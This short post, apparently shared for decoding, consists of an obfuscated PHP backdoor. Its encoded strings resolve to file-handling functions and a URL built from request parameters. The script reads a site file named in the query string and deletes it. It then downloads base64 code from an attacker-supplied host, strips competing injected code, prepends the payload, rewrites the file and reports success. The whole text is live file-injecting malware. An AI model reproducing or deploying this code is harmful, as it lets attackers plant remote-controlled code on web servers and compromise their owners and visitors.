PHP Decode

$k=$_SERVER;
$p="k";
$d="\104\x4f\x43\125\x4d\105\116\x54\137\x52\117\117\x54";
@extract(${$p});
$g=$_GET;
$gg="g";
@extract(${$gg});
$p=${$d}."/$fl";
 echo "23333";
if($fl!="") {
	$array=array(
        "fg"=>"\x66\x69\154\x65\x5f\x67\x65\164\137\x63\157\x6e\x74\x65\x6e\x74\x73",
        "sp"=>"\x73\x74\x72\x72\x69\160\157\x73",
        "sb"=>"\163\x75\142\163\164\x72",
        "ul"=>"\165\156\154\x69\156\153",
        "fp"=>"\x66\151\154\x65\137\160\x75\x74\137\x63\x6f\x6e\164\x65\x6e\x74\163",
        "fe"=>"\x66\x69\154\x65\137\145\x78\x69\163\x74\x73",
        "pt"=>"\x70\162\x69\x6e\164");
	@extract($array);
    $o=$fg($p);
    $os=$sp($o,"\74\x3f\x70\150\160");
    $o=$sb($o,$os);
    $ul($p);
    $n=base64_decode($fg("\150\x74\164\160\x3a\x2f\x2f".$dm."\x2f\162\141\x6e\144\157\155\x2f\x3f\x69\x64\x3d".$gc));

$a = preg_match_all('/[<][?]php[\s\S]*?[?]>/i', $o, $mc);
if($a){
foreach ($mc as $k=>$v){
 foreach ($v as $ik=>$iv){

 if(strstr($iv, '$O{')||strstr($iv, 'O{')){
  $o=str_replace($iv,"",$o);
 }
 }
}
}
$c=$n.$o;
$fp($p,$c);
$sx=$fg($p);

if(strstr($sx, 'NzE3NzY1NzI3NDc5NzU2OTZ')){
	$x="\x73\x75\x63\143\x65\163\x73\146\165\x6c";
	 echo ($x);
	 }


 
}
?>